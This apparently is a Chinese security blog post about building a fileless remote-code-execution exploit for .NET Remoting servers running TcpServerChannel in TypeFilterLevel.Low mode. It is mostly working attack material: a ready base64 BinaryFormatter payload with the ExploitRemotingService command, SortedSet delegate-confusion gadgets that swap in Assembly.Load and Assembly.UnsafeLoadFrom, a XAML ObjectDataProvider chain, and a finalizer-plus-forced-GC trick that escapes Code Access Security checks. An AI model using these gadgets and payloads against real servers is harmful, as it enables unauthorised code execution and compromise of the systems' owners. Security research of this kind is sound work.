.NET Remoting反序列化升级版之TypeFilterLevel.Low模式无文件payload任意代码执行

渗透技巧 4周前 admin

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这篇文章的目的是介绍一款基于James Forshaw的.NET Remoting反序列化工具升级版在TcpServerChannel的TypeFilterLevel.Low模式无文件payload任意代码执行poc的开发心得。

简介

笔者的项目解决了原James Forshaw项目在TcpServerChannel的TypeFilterLevel.Low模式默认配置下无法实现利用的问题,实现了无文件payload任意代码执行,解除了在代码访问安全(CAS)机制下ILease对象需要10分钟才能触发GC调用payload的限制。

.NET Remoting的应用程序通道介绍

使用.NET Remoting的应用程序可以选择使用TCP、IPC和HTTP信道。James Forshaw编写了一个针对TCP和IPC信道进行测试和漏洞利用的出色工具。

命名空间分别为System.Runtime.Remoting.Channels.Http、System.Runtime.Remoting.Channels.Tcp、System.Runtime.Remoting.Channels.Ipc

其中不同协议用处不同：

IpcChannel用于本机之间进程传输基于命名管道，使用ipc协议传输比HTTP、TCP速度要快的多，但是只能在本机传输，不能跨机器，本文不讲。

TcpChannel基于tcp传输，将对象进行二进制序列化之后传输二进制数据流，比http传输效率更高。

HttpChannel基于http传输，将对象进行soap序列化之后在网络中传输xml，兼容性更强。

.NET Remoting的应用程序利用场景介绍

这些Channel及其子类所创建实例的TypeFilterLevel字段是否为Full。其实为Low的时候James Forshaw项目ExploitRemotingService也可以利用，但是要设置ConfigurationManager.AppSettings.Set(“microsoft:Remoting:AllowTransparentProxyMessage”, false)这个全局非默认配置。

TypeFilterLevel字段是如果为Full意味着支持无限制的反序列化使用工具ExploitRemotingService，通过它的raw参数我们可以发送原始binary数据。使用ysoserial.net生成base64的就可以实现利用。

ExploitRemotingService.exe tcp://localhost:9999/RemoteDemoObjectClass.rem raw AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==

但是对于TcpChannel的之类TcpServerChannel的TypeFilterLevel.Low模式默认配置下James Forshaw并没有给出可行的利用方案.这种模式在反序列化客户端传来的数据包的时候使用代码访问安全(CAS)机制禁用了反序列化操作危险函数调用。

PermissionSet currentPermissionSet = null;                  
if (this.TypeFilterLevel != TypeFilterLevel.Full) {                    
 currentPermissionSet = new PermissionSet(PermissionState.None);                
 currentPermissionSet.SetPermission(
      new SecurityPermission(
          SecurityPermissionFlag.SerializationFormatter));                    
}
                                    
try {
 if (currentPermissionSet != null)
  currentPermissionSet.PermitOnly();
                        
 // Deserialize Request - Stream to IMessage
 requestMsg = CoreChannel.DeserializeBinaryRequestMessage(
    objectUri, requestStream, _strictBinding, this.TypeFilterLevel);                    
}
finally {
 if (currentPermissionSet != null)
  CodeAccessPermission.RevertPermitOnly();
}

.NET中定义了大约30个代码访问安全(CAS)权限，可以被用来准予或者拒绝程序集代码的运行。每个权限定义了对重要资源如注册表、文件或文件夹等进行访问的控制规则，对程序集授予信任意味着授予它一些必要的权限以使它能正常运行。

在CLR中，CAS机制用在以下两种情况中：

在程序集装载期间，CLR授予它一些权限。当代码请求执行某个重要操作时，CLR必须验证包含这个代码的程序集具备适当的权,否则抛出异常终止接下来的代码执行,笔者讨论的这种模式只允许了SerializationFormatter权限调用。

CAS机制对即使是异步触发的调用也会记录当前调用的栈帧,对异步触发的调用沿用触发调用的栈帧,启用相同的保护机制.在反序列化工作完成后,由调用函数恢复原保护状态,可以以之前的状态继续执行代码,直到下次反序列化消息触发CAS。

对于客户端可操作的服务器端MBR(MarshalByRefObject)对象,该对象包含一个服务器端URL路径用于标识服务器端对象,生成整个对象唯一的候选者是InitializeLifetimeServer或GetLifetimeService方法，它们返回实现ILease接口的MBR。但我注意到ILease接口有一个Register方法，它接受一个实现ISponsor接口的对象。

如果你在客户端用服务器的生存期服务注册了一个MBR对象，那么当服务器想要检查该对象是否应该被销毁时，它会调用ISponsor:：Renewal方法，这给了我们回调的机会。虽然该方法不返回对象，但我们可以在内部的Hashtable中抛出异常并利用该服务端反序列化操作。

这种方式是一个可以利用的方案但存在问题。

Renewal对像调用仅在GC生存期计数器到期时发生，默认超时时间为从上次调用服务器算起约10分钟。这意味着我们的漏洞利用只会在某个漫长的、可能不确定的时间点运行。这就像等待GC运行以执行终结器一样令人沮丧,不能手动触发。这种触发效果并不理想。

扩展ysoserial.net反序列化工具

本文讨论的反序列化实际操作对象仅限于BinaryFormatter,这个对象有个FilterLevel属性默认是TypeFilterLevel.Full,当然也可以手动指定,或者在构造函数继承默认通道配置。

当ysoserial.net提供的一种BinaryFormatter反序列化方案,执行不支持反序列化接口,比如linq委托基于ActivitySurrogateSelector自定义代理实现,这个需要开启microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck选项默认不支持,并不推荐。

还有一种方法是基于SessionSecurityToken或者DataSet的嵌套类型反序列化,可以在嵌套执行过程中创建新的BinaryFormatter对象FilterLevel属性TypeFilterLevel.Full反序列化嵌套的内部数据流。

  public class SessionSecurityToken : SecurityToken, ISerializable
  { 
  protected SessionSecurityToken(SerializationInfo info, StreamingContext context)
    {
    ...
    private ClaimsIdentity ReadIdentity(
      XmlDictionaryReader dictionaryReader,
      SessionDictionary dictionary)
    {
 if (dictionaryReader.IsStartElement(dictionary.BootstrapToken, dictionary.EmptyString))
      {
        dictionaryReader.ReadStartElement();
        using (MemoryStream serializationStream = new MemoryStream(dictionaryReader.ReadContentAsBase64()))
        {
          BinaryFormatter binaryFormatter = new BinaryFormatter();
          claimsIdentity.BootstrapContext = (object) (BootstrapContext) binaryFormatter.Deserialize((Stream) serializationStream);
        }
        dictionaryReader.ReadEndElement();
      }
}
  public class DataSet : 
    MarshalByValueComponent,
    IListSource,
    IXmlSerializable,
    ISupportInitializeNotification,
    ISupportInitialize,
    ISerializable
  {
   protected DataSet(SerializationInfo info, StreamingContext context, bool ConstructSchema)
      {
     for (int index = 0; index < int32; ++index)
          {
            MemoryStream serializationStream = new MemoryStream((byte[]) info.GetValue(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "DataSet.Tables_{0}", new object[1]
            {
              (object) index
            }), typeof (byte[])));           
            this.Tables.Add((DataTable) new BinaryFormatter((ISurrogateSelector) null, new StreamingContext(context.State, (object) false)).Deserialize((Stream) serializationStream));
          }
    }
  }

但是即使开启了TypeFilterLevel.Full模式,由于在通道消息的入口已经开启了CAS限制,后续的反序列化操作都要受到这个限制的影响。

一种可行的方案是基于SortedSet<T>接口内部嵌套的Comparison<T>比较委托的。

  public class SortedSet<T> : 
    ISet<T>,
    ICollection<T>,
    IEnumerable<T>,
    IEnumerable,
    ICollection,
    ISerializable,
    IDeserializationCallback,
    IReadOnlyCollection<T>
  {  
  private IComparer<T> comparer;
  protected virtual void OnDeserialization(object sender)
    {
 for (int index = 0; index < objArray.Length; ++index)
          this.Add(objArray[index]);=AddIfNotPresent        
  }  
internal virtual bool AddIfNotPresent(T item)
{
  for (; node != null; node = num < 0 ? node.Left : node.Right)
      {
        num = this.comparer.Compare(item, node.Item);        
        }
}

如果是系统自带的类型Comparison<T>比较委托是可以被序列化的,其类型的_invocationList委托实现是可以被一个自定义系统自带多播委托替换的,笔者修改了一下原有实现Process.Start改为Assembly.UnsafeLoadFrom绕过CAS限制。

//直接Process.Start报错
在 System.StubHelpers.StubHelpers.DemandPermission(IntPtr pNMD)
在 Microsoft.Win32.NativeMethods.ShellExecuteEx(ShellExecuteInfo info)

 public static SortedSet<string> TypeConfuseDelegateGadgetdllpath()
`{
    string dllpath = @"pathtocppdotnetrce.dll";
    Delegate da = new Comparison<string>(String.Compare);
    Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
    IComparer<string> comp = Comparer<string>.Create(d);
    SortedSet<string> set = new SortedSet<string>(comp);
    set.Add(dllpath);
    set.Add("");
    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list = d.GetInvocationList();
    //实现Process.Start改为Assembly.UnsafeLoadFrom绕过CAS限制
    invoke_list[1] = new Func<string, Assembly>(Assembly.UnsafeLoadFrom);
    fi.SetValue(d, invoke_list);
    return set;
}
//替换成这个Assembly.UnsafeLoadFrom可以绕过FileIOPermission`
[SecuritySafeCritical]
public static Assembly LoadFile(string path)
{
  AppDomain.CheckLoadFileSupported();
  new FileIOPermission(FileIOPermissionAccess.Read | FileIOPermissionAccess.PathDiscovery, path).Demand();
  return (Assembly) RuntimeAssembly.nLoadFile(path, (Evidence) null);
}

只需要指定一个c++.net的dll就可以在它的DllMain函数入口执行任意代码,dll可以为任意普通用户可写路径,缺点是这些文件必须在目标服务器端存在,或者smb文件,但是如果无法达到这个要求能否实现rce呢,笔者发现了一种无文件rce绕过方法,具体请看下一节。

无文件payload任意代码执行绕过CAS限制在TypeFilterLevel.Low模式

笔者使用的这种绕过方法结合了SortedSet<T>和Xaml脚本各自的优缺点,由于CAS限制SortedSet<T>对于调用的委托函数只能指定一个或者两个相同类型参数,存在限制问题,而且无法对操作返回值进行后续的操作。

Xaml脚本采用反射类型函数调用目标函数InvokeMember实现,但是CAS会检查目标函数是否包含INVOCATION_FLAGS_RISKY_METHODE标志即是否为危险函数终止操作.这就为原来Xaml调用链带来的限制,但并不代表不可行,通过研究参数的目标对象所有的支持函数后,笔者发现了一个可行的调用链。

具体方法是构造SortedSet<Array>反序列化类型参数为2个byte数组,即一个需要进行反射程序集的dll和它的pdb文件二进制数据,调用Assembly.Load(byte[] rawAssembly, byte[] rawSymbolStore)进行第一次调用,只需要把比较函数替换成Array.LastIndexOf这个不会引起报错,调用成功后目标托管程序集加载进入服务端的AppDomain中。

需要注意的加载的二进制数据只能是托管程序集,不能是非托管或者混合c++.net的dll程序集加载会报错,但是这个操作加载完成后并不能直接对加载完成的程序集进行操作,这里就需要用到第二步的Xaml脚本加载技术,只需要替换SortedSet<string>重载委托为XamlReader.Parse即可。

public static SortedSet<Array> TypeConfuseDelegateGadgetAsm()
{
    string dllpath = typeof(FakeAsm.ClassFake).Assembly.Location;
    string pdbpath = dllpath.Replace(".dll",".pdb");
    Array dllbytes = File.ReadAllBytes(dllpath).ToArray();
    Array pdbbytes = File.ReadAllBytes(pdbpath).ToArray(); 
    Delegate da = new Comparison<Array>(Array.LastIndexOf);
    Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(da, da);
    IComparer<Array> comp = Comparer<Array>.Create(d);
    SortedSet<Array> set = new SortedSet<Array>(comp);
    set.Add(dllbytes);
    set.Add(pdbbytes);
    FieldInfo fi =typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list = d.GetInvocationList();    
    invoke_list[1] = new Func<byte[], byte[], Assembly>(Assembly.Load);
    fi.SetValue(d, invoke_list);
    return set;
}
public static SortedSet<string> TypeConfuseDelegateGadgetXaml(string xamlpayload)
{
    Delegate da = new Comparison<string>(String.Compare);
    Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
    IComparer<string> comp = Comparer<string>.Create(d);
    SortedSet<string> set = new SortedSet<string>(comp);
    set.Add(xamlpayload);
    set.Add("");
    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list = d.GetInvocationList();    
    invoke_list[1] = new Func<string, object>(XamlReader.Parse);
    fi.SetValue(d, invoke_list);
    return set;
}

这样生成的Xaml脚本就可以解析了,即使在xaml资源文件中自定义Byte数组直接调用Assembly.Load(byte[] raw)进行加载托管程序集是无法绕过CAS危险函数限制的,利用之前SortedSet<T>可以先把程序集加载进来,但是枚举AppDomain中已加载的程序集是可行的。

 public class ClassFake : MarshalByRefObject
    {
    public ClassFake()       { }          
        ~ClassFake()        { rce();}       
        public static void rce()
        {        
           System.Diagnostics.Process.Start("notepad");
        }     
        [MyattrFakeAtribute]
        public static object fakeobbj
        {
            get
            {
                return 1;
            }
        }        
    }    
     public class MyattrFakeAtribute : Attribute
    {
        public MyattrFakeAtribute()
        {
            Rcefakeattribute();
        }
        public static void RceCallGC()
        {          
                Thread.Sleep(2000);           
                GC.Collect(0, GCCollectionMode.Forced);
        }

        public static object Rcefakeattribute()
        {         
                ClassFake fake = new ClassFake();
                Thread thd = new Thread(RceCallGC);                
                thd.Start();             
        }
    }

之前调用TypeConfuseDelegateGadgetAsm已经把程序集加载进AppDomain但是无法知道这个要加载的程序集的索引,尽管如此在服务器端环境可预知的情况下,服务器启动后所加载的程序集总数一般是已知的,只需要对这种总数+1的顺序开始暴力尝试搜索就能找到这个加载程序集进行操作,即使搜索失败下个操作也可以正常进行,
对于搜索程序集通过linq比较形式实现比较麻烦,有兴趣的读者可以自行尝试。

xaml中ObjectDataProvider这里调用Assembly.GetTypes是可行的,
但是对于原项目中Type.InvokeMember这种激活方式就被拒绝了,通过尝试不同的Type类型的可支持调用后,笔者找到一个方式GetProperty得到属性后调用GetCustomAttributes,会加载这个属性Attribute的构造函数实现代码执行,也就是上面看到的代码MyattrFakeAtribute的构造函数。

这里需要需要修复的2个地方是Xaml生成序列化ResourceDictionary对象内部的数据HashTable是乱序排列的,导致ObjectDataProvider执行顺序有问题,可以通过一个自定义的IEqualityComparer比较接口修复,
第二个问题是ObjectDataProvider其属性MethodParameters默认不会进入序列化后的数据中,可以通过FixObjectDataProvider反射添加DesignerSerializationVisibilityAttribute.Content属性修复。

在这个调用中创建一个悬挂的ClassFake类对象,然后创建一个新线程延迟2秒触发GC.Collect这样会调用ClassFake的析构函数。

由于是延迟触发的关系,服务器端已经完成了客户端数据的反序列化操作CodeAccessPermission.RevertPermitOnly已经被执行了,而且ClassFake的析构函数是在GC的线程中触发的可以绕过CAS的检查,最终实现任意代码的执行。

整个触发过程只要2秒,相对于原方式GC触发ISponsor:：Renewal需要10分钟相比,比较理想。

public class MyEqualityComparer : IEqualityComparer
    {
        private int objcount = 0;
        public MyEqualityComparer(int countfrom)
        {
            objcount = countfrom;
        }    
        public int GetHashCode(object obj)
        {
            int ret = 0;
            if (obj != null)
            {
                string objstr = obj.ToString();
                if (objstr.StartsWith("odp"))
                {
                    string strint = objstr.Substring(3);
                    ret = objcount+1 - int.Parse(strint);
                }          
            }
            return ret;
        }
}
public static void FixObjectDataProvider(object obj)
{
    foreach (PropertyDescriptor property in TypeDescriptor.GetProperties(obj))
    {
        if (property.Name == "MethodParameters")
        {             
            PropertyInfo attprop = typeof(MemberDescriptor).GetProperty("AttributeArray",
                BindingFlags.Instance | BindingFlags.NonPublic);
            Attribute[] AttributeArray = attprop.GetValue(property) as Attribute[];
            List<Attribute> AttributeArraynew = new List<Attribute>();
            AttributeArraynew.AddRange(AttributeArray);
            bool fid = false;
            for (int i = 0; i < AttributeArraynew.Count; i++)
            {
                if (AttributeArraynew[i] is DesignerSerializationVisibilityAttribute)
                {
                    AttributeArraynew[i] =
                        DesignerSerializationVisibilityAttribute.Content;
                    fid = true;
                }
            }
            if (!fid)
            {
                AttributeArraynew.Add(DesignerSerializationVisibilityAttribute.Content);
            }
            attprop.SetValue(property, AttributeArraynew.ToArray());
        }
    }
}
//程序集索引暴力搜索
public string xamlrcepayload(int asm_index)
{
    var myResourceDictionary = new ResourceDictionary();            
    string odp1name = "odp1";
    string odp2name = "odp2";
    string odp3name = "odp3";
    string odp4name = "odp4";
    string odp5name = "odp5";
    string odp6name = "odp6";
    string odp7name = "odp7";
    string odp8name = "odp8";
    var odp1 = new ObjectDataProvider();
    //AppDomain.CurrentDomain
    odp1.ObjectType = typeof(System.Threading.Thread);
    odp1.MethodName = "GetDomain";
    StaticResourceExtension odpext1 = new StaticResourceExtension(odp1name);
    ObjectDataProvider odp2 = new ObjectDataProvider();
    odp2.MethodName = "GetAssemblies";
    odp2.ObjectInstance = odpext1;
    ObjectDataProvider odp3 = new ObjectDataProvider();
    odp3.MethodName = "GetValue";
    StaticResourceExtension odpext2 = new StaticResourceExtension(odp2name);
    odp3.ObjectInstance = odpext2;
    odp3.MethodParameters.Add(asm_index);
    ObjectDataProvider odp4 = new ObjectDataProvider();
    odp4.MethodName = "GetTypes";
    StaticResourceExtension odpext3 = new StaticResourceExtension(odp3name);
    odp4.ObjectInstance = odpext3;
    ObjectDataProvider odp5 = new ObjectDataProvider();
    odp5.MethodName = "GetValue";
    StaticResourceExtension odpext4 = new StaticResourceExtension(odp4name);
    odp5.ObjectInstance = odpext4;
    odp5.MethodParameters.Add(0);
    ObjectDataProvider odp6 = new ObjectDataProvider();        
    odp6.MethodName = "GetProperty";
    odp6.MethodParameters.Add("fakeobbj");
    odp6.MethodParameters.Add(BindingFlags.Public | BindingFlags.Static);
    StaticResourceExtension odpext5 = new StaticResourceExtension(odp5name);
    odp6.ObjectInstance = odpext5;
    ObjectDataProvider odp7 = new ObjectDataProvider();
    odp7.MethodName = "GetCustomAttributes";
    StaticResourceExtension odpext6 = new StaticResourceExtension(odp6name);
    odp7.ObjectInstance = odpext6;
    odp7.MethodParameters.Add(false);      
    FieldInfo fi_baseDictionary = myResourceDictionary.GetType().GetField("_baseDictionary", BindingFlags.NonPublic | BindingFlags.Instance);
    FieldInfo fi_keycomparer = typeof(Hashtable).GetField("_keycomparer", BindingFlags.NonPublic | BindingFlags.Instance);
    Hashtable hstbl = (Hashtable)fi_baseDictionary.GetValue(myResourceDictionary);
    MyEqualityComparer mycmp = new MyEqualityComparer(8);
    fi_keycomparer.SetValue(hstbl, mycmp);
    myResourceDictionary.Add(odp1name, odp1);
    myResourceDictionary.Add(odp2name, odp2);
    myResourceDictionary.Add(odp3name, odp3);
    myResourceDictionary.Add(odp4name, odp4);
    myResourceDictionary.Add(odp5name, odp5);
    myResourceDictionary.Add(odp6name, odp6);
    myResourceDictionary.Add(odp7name, odp7);       
    foreach (DictionaryEntry o in myResourceDictionary)
    {
        FixObjectDataProvider(o.Value);             
    }                 
    return  Xaml_serialize(myResourceDictionary);
}